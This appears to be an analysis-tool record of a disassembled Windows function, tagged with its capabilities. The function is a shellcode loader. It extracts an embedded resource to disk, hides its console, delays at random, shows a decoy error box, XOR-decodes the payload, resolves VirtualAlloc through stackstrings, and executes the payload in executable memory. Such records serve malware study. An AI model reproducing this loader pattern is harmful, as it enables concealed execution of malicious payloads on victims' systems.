Function at 0x140001dd0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Extract resource via kernel32 functions
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor r15d, r15d
lea r8, [0x14000444c]
lea edx, [r15 + 0x65]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
je 0x140002119
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
je 0x140002119
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r14d, eax
test eax, eax
je 0x140002119
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x140002119
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1f01ff
lea rcx, str.test.txt
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8d, r14d
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeResource]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x2d4279a3
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xb5
sub ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9d, [r15 + 0x10]
lea r8, str.error
lea rdx, str.error
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, [0x140004464]
lea rcx, str.test.txt
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
mov edx, 0x277
lea r8d, [r15 + 2]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rsi, eax
xor r8d, r8d
mov edx, 0x277
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
mov r9, rbx
lea r8d, [r15 + 1]
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], r15b
jne 0x140001f87
xorps xmm0, xmm0
movups xmmword [rbp - 1], xmm0
mov qword [rbp + 0xf], r15
mov qword [rbp + 0x17], r15
mov rdx, rdi
lea rcx, [rbp - 1]
call fcn.140001cd0
nop
lea rdx, [rbp - 1]
lea rcx, [rbp - 0x41]
call fcn.140001300
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x21]
call fcn.140001420
nop
lea rbx, [rbp - 0x21]
cmp qword [rbp - 9], 0xf
cmova rbx, qword [rbp - 0x21]
mov rcx, qword [rbp - 0x11]
call fcn.1400022c0
mov rdi, rax
mov r8d, r15d
cmp qword [rbp - 0x11], r8
jbe 0x140002019
mov rcx, rax
sub rbx, rax
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbx + rcx]
xor dl, 8
mov byte [rcx], dl
inc r8d
lea rcx, [rcx + 1]
movsxd rax, r8d
cmp rax, qword [rbp - 0x11]
jb 0x140002000
mov dword [rbp + 0x2f], 0x74726956
mov dword [rbp + 0x33], 0x416c6175
mov dword [rbp + 0x37], 0x636f6c6c
mov byte [rbp + 0x3b], 0
mov dword [rbp + 0x1f], 0x6e72656b
mov dword [rbp + 0x23], 0x32336c65
mov dword [rbp + 0x27], 0x6c6c642e
mov byte [rbp + 0x2b], 0
lea rcx, [rbp + 0x1f]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x2f]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call rax
mov rbx, rax
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
nop
mov rdx, qword [rbp - 9]
cmp rdx, 0xf
jbe 0x1400020c7
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400020c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000228c
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], 0xf
mov byte [rbp - 0x21], 0
mov rdx, qword [rbp + 0x17]
cmp rdx, 0xf
jbe 0x140002115
inc rdx
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002110
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002110
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000228c
xor eax, eax
jmp 0x14000211e
mov eax, 1
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140002230
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret